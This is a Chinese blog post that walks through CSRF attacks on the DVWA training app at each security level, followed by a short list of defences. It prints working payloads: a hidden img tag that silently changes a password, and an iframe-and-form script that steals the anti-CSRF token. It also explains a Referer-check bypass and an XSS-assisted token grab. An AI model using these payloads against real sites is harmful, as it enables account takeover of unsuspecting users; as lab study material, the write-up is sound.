DVWA-csrf测试

首先附上之前看到的文章的一些方法

https://www.freebuf.com/articles/web/118352.html

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

结合burp演示

low

 

 

意思就是攻击者首先获取到修改密码时的攻击链接,并且生成一个表单,当受害者点击这个按钮时(受害者在此网站有cookie,并且服务器有验证身份),便发送了更改密码的请求,导致自己的密码被changed,但是这样很明显,受害者点进页面后,看到了password changed。那如何才能更隐蔽的发送这个request呢,上文连接中提到了一种方法,就是隐藏的img src标签,并且设置为不可见(Low 没有设置referer检验)

代码如下

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

但其实已经发送了request过去了,并且password changed

 

 

Medium

看源码,是增加了referer的检验,检验referer是否包含host参数即主机参数

referer头的用处是表示来源地址

增加这种检验的防御是因为,同时攻击者是把攻击连接放在自己的服务器上使受害者点击,如果有referer检验的话,当受害者点击链接时,referer显示的来源地址是攻击者网址,所以能够一定的防御。

但是仍然可以绕过

攻击者可以把网页改名为主机名字,如图

成功绕过了referer的检验

 

 

 

High 的话建议看上面链接中的文章(转载连接在上面)

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。

试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。

<script type="text/javascript">

    function attack()

  {

   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

  document.getElementById("transfer").submit(); 

  }

</script>

 

<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>

 

<body onload="attack()">

  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">

   <input type="hidden" name="password_new" value="password">

    <input type="hidden" name="password_conf" value="password">

   <input type="hidden" name="user_token" value="">

  <input type="hidden" name="Change" value="Change">

   </form>

</body>

攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

 

然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token

 

由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.153.130中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。

 

1.png 

 

这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token

 

1.png 

 

注入代码如下

 

1.png

 

Impossible 级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击

 

附上一些防护措施    https://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html

          在客户端添加伪随机数

  • 随机token
  • referer头验证

 

posted @ 2019-05-12 18:33  yunying  阅读(658)  评论(0编辑  收藏  举报